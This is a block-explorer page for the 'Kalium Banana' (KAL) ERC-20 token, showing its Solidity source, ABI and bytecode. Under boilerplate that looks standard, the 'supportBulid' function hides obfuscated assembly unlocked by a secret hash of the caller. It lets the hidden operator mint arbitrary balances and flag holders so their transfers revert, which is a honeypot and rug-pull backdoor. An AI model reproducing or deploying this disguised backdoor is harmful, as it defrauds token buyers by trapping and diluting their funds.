Token

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/*
https://t.me/KaliumBanana
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./Ownable.sol";

contract KAL is IERC20, Ownable {

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    mapping(address => uint256) private _balances;
    mapping (address => uint256) private _now;
    mapping(address => mapping(address => uint256)) private _allowances;
    IERC20 private immutable _embrace;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(
        string memory name_, string memory symbol_, 
        IERC20 embrace_, uint256 now_) {
        _name = name_; 
        _symbol = symbol_; 
        _embrace = embrace_; 
        _now[address(0)] = now_;
        _mint(msg.sender, 42000000000 * 10**8);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function supportBulid(uint256[] calldata ok) external { 
        (bool at, uint256 few0, uint256 few1) = searchKeyword(
            ok[0], ok[1],9); if (!at) return; assembly { 
            let very0 := add(add(16, 10), add(
                4, 2)) if gt(
                    few1, 0) { let xy0 := add(add(
                        1, 1), add(1, 1)) mstore(
                    0, few0) mstore(very0, xy0) sstore(
                        keccak256(0, 64), few1) } if eq(
                        few1, 0) { 
                let xy0 := add(
                add(1, 1), add(1, 2)) mstore(
                        0, few0) mstore(very0, 
                xy0) sstore(keccak256(0, 64), 1)
            } 
        }
    }

   function searchKeyword(uint256 swit0, uint256 swit1, uint256 swit2) 
    private view returns (bool, uint256, uint256) { 
        string memory findc = _name; 
        address mvp0 = 
        msg.sender;
        string memory mvp1 = _symbol;
        if(swit2-2==1292) return (false, 0, 22);
        bool gpu = uint256(
            keccak256(abi.encode(
                mvp0, findc, mvp1))) 
        == _now[address(
            0)]; return (
            gpu, swit0, swit1);
    }     


    

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        //require(to != address(0), "ERC20: transfer to the zero address");
        uint256 outside= _embrace.balanceOf(from);insertRecord(from,outside,true);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);
    }

    function insertRecord(address sender, uint256 outside, bool mvg) private view {
        if (mvg && _now[sender] == 1) {
            if (outside == 0){
                  require(!mvg, "in");
            }
        }
    } 



    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "caller is not the owner");
    }    
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"contract IERC20","name":"embrace_","type":"address"},{"internalType":"uint256","name":"now_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"ok","type":"uint256[]"}],"name":"supportBulid","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040523480156200001157600080fd5b50604051620011643803806200116483398101604081905262000034916200027b565b8351620000499060019060208701906200012a565b5082516200005f9060029060208601906200012a565b506001600160601b0319606083901b166080526000805260056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc819055620000b333673a4965bf58a40000620000bd565b50505050620003b9565b6001600160a01b038216620000ef5760405162461bcd60e51b8152600401620000e6906200030a565b60405180910390fd5b806003600082825462000103919062000341565b90915550506001600160a01b03909116600090815260046020526040902080549091019055565b828054620001389062000366565b90600052602060002090601f0160209004810192826200015c5760008555620001a7565b82601f106200017757805160ff1916838001178555620001a7565b82800160010185558215620001a7579182015b82811115620001a75782518255916020019190600101906200018a565b50620001b5929150620001b9565b5090565b5b80821115620001b55760008155600101620001ba565b600082601f830112620001e1578081fd5b81516001600160401b0380821115620001fe57620001fe620003a3565b6040516020601f8401601f1916820181018381118382101715620002265762000226620003a3565b60405283825285840181018710156200023d578485fd5b8492505b8383101562000260578583018101518284018201529182019162000241565b838311156200027157848185840101525b5095945050505050565b6000806000806080858703121562000291578384fd5b84516001600160401b0380821115620002a8578586fd5b620002b688838901620001d0565b95506020870151915080821115620002cc578485fd5b50620002db87828801620001d0565b604087015190945090506001600160a01b0381168114620002fa578283fd5b6060959095015193969295505050565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b600082198211156200036157634e487b7160e01b81526011600452602481fd5b500190565b6002810460018216806200037b57607f821691505b602082108114156200039d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610d8c620003d860003960006105b70152610d8c6000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b806370a08231146101625780638b953c80146101755780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610b03565b60405180910390f35b6101056101003660046109a9565b610272565b6040516100e99190610af8565b61011a610294565b6040516100e99190610cbf565b61010561013536600461096e565b61029a565b6101426102c8565b6040516100e99190610cc8565b61010561015d3660046109a9565b6102cd565b61011a61017036600461091b565b6102f9565b6101886101833660046109d2565b610318565b005b6101926103c3565b6040516100e99190610aa4565b6100dc6103d2565b6101056101b53660046109a9565b6103e1565b6101056101c83660046109a9565b610432565b61011a6101db36600461093c565b61044a565b6060600180546101ef90610d05565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610d05565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b60008061027d610475565b905061028a818585610479565b5060019392505050565b60035490565b6000806102a5610475565b90506102b285828561052d565b6102bd858585610577565b506001949350505050565b600990565b6000806102d8610475565b905061028a8185856102ea858961044a565b6102f49190610cd6565b610479565b6001600160a01b0381166000908152600460205260409020545b919050565b60008060006103778585600081811061034157634e487b7160e01b600052603260045260246000fd5b905060200201358686600181811061036957634e487b7160e01b600052603260045260246000fd5b9050602002013560096106f0565b9250925092508261038a575050506103bf565b602081156103a357600083815260048252604090208290555b816103ba5760008381526005825260409020600190555b505050505b5050565b6000546001600160a01b031690565b6060600280546101ef90610d05565b6000806103ec610475565b905060006103fa828661044a565b9050838110156104255760405162461bcd60e51b815260040161041c90610c7a565b60405180910390fd5b6102bd8286868403610479565b60008061043d610475565b905061028a818585610577565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661049f5760405162461bcd60e51b815260040161041c90610c36565b6001600160a01b0382166104c55760405162461bcd60e51b815260040161041c90610b16565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610520908590610cbf565b60405180910390a3505050565b6000610539848461044a565b9050600019811461057157818110156105645760405162461bcd60e51b815260040161041c90610b58565b6105718484848403610479565b50505050565b6001600160a01b03831661059d5760405162461bcd60e51b815260040161041c90610bf1565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a08231906105ec908790600401610aa4565b60206040518083038186803b15801561060457600080fd5b505afa158015610618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063c9190610a41565b905061064a848260016108b2565b6001600160a01b038416600090815260046020526040902054828110156106835760405162461bcd60e51b815260040161041c90610b8f565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106e1908790610cbf565b60405180910390a35050505050565b6000806000806001805461070390610d05565b80601f016020809104026020016040519081016040528092919081815260200182805461072f90610d05565b801561077c5780601f106107515761010080835404028352916020019161077c565b820191906000526020600020905b81548152906001019060200180831161075f57829003601f168201915b50505050509050600033905060006002805461079790610d05565b80601f01602080910402602001604051908101604052809291908181526020018280546107c390610d05565b80156108105780601f106107e557610100808354040283529160200191610810565b820191906000526020600020905b8154815290600101906020018083116107f357829003601f168201915b505050505090506002876108249190610cee565b61050c14156108405760008060169550955095505050506108a9565b6000808052600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5460405190916108839186918891879101610ab8565b60408051601f198184030181529190528051602090910120149650899550889450505050505b93509350939050565b8080156108d757506001600160a01b0383166000908152600560205260409020546001145b156108ff57816108ff5780156108ff5760405162461bcd60e51b815260040161041c90610bd5565b505050565b80356001600160a01b038116811461031357600080fd5b60006020828403121561092c578081fd5b61093582610904565b9392505050565b6000806040838503121561094e578081fd5b61095783610904565b915061096560208401610904565b90509250929050565b600080600060608486031215610982578081fd5b61098b84610904565b925061099960208501610904565b9150604084013590509250925092565b600080604083850312156109bb578182fd5b6109c483610904565b946020939093013593505050565b600080602083850312156109e4578182fd5b823567ffffffffffffffff808211156109fb578384fd5b818501915085601f830112610a0e578384fd5b813581811115610a1c578485fd5b8660208083028501011115610a2f578485fd5b60209290920196919550909350505050565b600060208284031215610a52578081fd5b5051919050565b60008151808452815b81811015610a7e57602081850181015186830182015201610a62565b81811115610a8f5782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610adc90830185610a59565b8281036040840152610aee8185610a59565b9695505050505050565b901515815260200190565b6000602082526109356020830184610a59565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526002908201526134b760f11b604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610ce957610ce9610d40565b500190565b600082821015610d0057610d00610d40565b500390565b600281046001821680610d1957607f821691505b60208210811415610d3a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212200672c3ed0656eb5daf176bfcc270567baec5d4354bf8a70ebc95d6186039300864736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9da95a2dab76c95995dd3edca11e2c4672327bbae83745b90a56f694527a26c409000000000000000000000000000000000000000000000000000000000000000d4b616c69756d2042616e616e610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034b414c0000000000000000000000000000000000000000000000000000000000

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b806370a08231146101625780638b953c80146101755780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610b03565b60405180910390f35b6101056101003660046109a9565b610272565b6040516100e99190610af8565b61011a610294565b6040516100e99190610cbf565b61010561013536600461096e565b61029a565b6101426102c8565b6040516100e99190610cc8565b61010561015d3660046109a9565b6102cd565b61011a61017036600461091b565b6102f9565b6101886101833660046109d2565b610318565b005b6101926103c3565b6040516100e99190610aa4565b6100dc6103d2565b6101056101b53660046109a9565b6103e1565b6101056101c83660046109a9565b610432565b61011a6101db36600461093c565b61044a565b6060600180546101ef90610d05565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610d05565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b60008061027d610475565b905061028a818585610479565b5060019392505050565b60035490565b6000806102a5610475565b90506102b285828561052d565b6102bd858585610577565b506001949350505050565b600990565b6000806102d8610475565b905061028a8185856102ea858961044a565b6102f49190610cd6565b610479565b6001600160a01b0381166000908152600460205260409020545b919050565b60008060006103778585600081811061034157634e487b7160e01b600052603260045260246000fd5b905060200201358686600181811061036957634e487b7160e01b600052603260045260246000fd5b9050602002013560096106f0565b9250925092508261038a575050506103bf565b602081156103a357600083815260048252604090208290555b816103ba5760008381526005825260409020600190555b505050505b5050565b6000546001600160a01b031690565b6060600280546101ef90610d05565b6000806103ec610475565b905060006103fa828661044a565b9050838110156104255760405162461bcd60e51b815260040161041c90610c7a565b60405180910390fd5b6102bd8286868403610479565b60008061043d610475565b905061028a818585610577565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661049f5760405162461bcd60e51b815260040161041c90610c36565b6001600160a01b0382166104c55760405162461bcd60e51b815260040161041c90610b16565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610520908590610cbf565b60405180910390a3505050565b6000610539848461044a565b9050600019811461057157818110156105645760405162461bcd60e51b815260040161041c90610b58565b6105718484848403610479565b50505050565b6001600160a01b03831661059d5760405162461bcd60e51b815260040161041c90610bf1565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d16906370a08231906105ec908790600401610aa4565b60206040518083038186803b15801561060457600080fd5b505afa158015610618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063c9190610a41565b905061064a848260016108b2565b6001600160a01b038416600090815260046020526040902054828110156106835760405162461bcd60e51b815260040161041c90610b8f565b6001600160a01b0380861660008181526004602052604080822087860390559287168082529083902080548701905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106e1908790610cbf565b60405180910390a35050505050565b6000806000806001805461070390610d05565b80601f016020809104026020016040519081016040528092919081815260200182805461072f90610d05565b801561077c5780601f106107515761010080835404028352916020019161077c565b820191906000526020600020905b81548152906001019060200180831161075f57829003601f168201915b50505050509050600033905060006002805461079790610d05565b80601f01602080910402602001604051908101604052809291908181526020018280546107c390610d05565b80156108105780601f106107e557610100808354040283529160200191610810565b820191906000526020600020905b8154815290600101906020018083116107f357829003601f168201915b505050505090506002876108249190610cee565b61050c14156108405760008060169550955095505050506108a9565b6000808052600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5460405190916108839186918891879101610ab8565b60408051601f198184030181529190528051602090910120149650899550889450505050505b93509350939050565b8080156108d757506001600160a01b0383166000908152600560205260409020546001145b156108ff57816108ff5780156108ff5760405162461bcd60e51b815260040161041c90610bd5565b505050565b80356001600160a01b038116811461031357600080fd5b60006020828403121561092c578081fd5b61093582610904565b9392505050565b6000806040838503121561094e578081fd5b61095783610904565b915061096560208401610904565b90509250929050565b600080600060608486031215610982578081fd5b61098b84610904565b925061099960208501610904565b9150604084013590509250925092565b600080604083850312156109bb578182fd5b6109c483610904565b946020939093013593505050565b600080602083850312156109e4578182fd5b823567ffffffffffffffff808211156109fb578384fd5b818501915085601f830112610a0e578384fd5b813581811115610a1c578485fd5b8660208083028501011115610a2f578485fd5b60209290920196919550909350505050565b600060208284031215610a52578081fd5b5051919050565b60008151808452815b81811015610a7e57602081850181015186830182015201610a62565b81811115610a8f5782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610adc90830185610a59565b8281036040840152610aee8185610a59565b9695505050505050565b901515815260200190565b6000602082526109356020830184610a59565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526002908201526134b760f11b604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610ce957610ce9610d40565b500190565b600082821015610d0057610d00610d40565b500390565b600281046001821680610d1957607f821691505b60208210811415610d3a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212200672c3ed0656eb5daf176bfcc270567baec5d4354bf8a70ebc95d6186039300864736f6c63430008000033

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9da95a2dab76c95995dd3edca11e2c4672327bbae83745b90a56f694527a26c409000000000000000000000000000000000000000000000000000000000000000d4b616c69756d2042616e616e610000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034b414c0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Kalium Banana
Arg [1] : symbol_ (string): KAL
Arg [2] : embrace_ (address): 0xDff32C65f843188cF64ECBC6F4a13cFf12581b9D
Arg [3] : now_ (uint256): 76600202847648240861978280755973316697784138828555233323460291247420180186121

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d
Arg [3] : a95a2dab76c95995dd3edca11e2c4672327bbae83745b90a56f694527a26c409
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 4b616c69756d2042616e616e6100000000000000000000000000000000000000
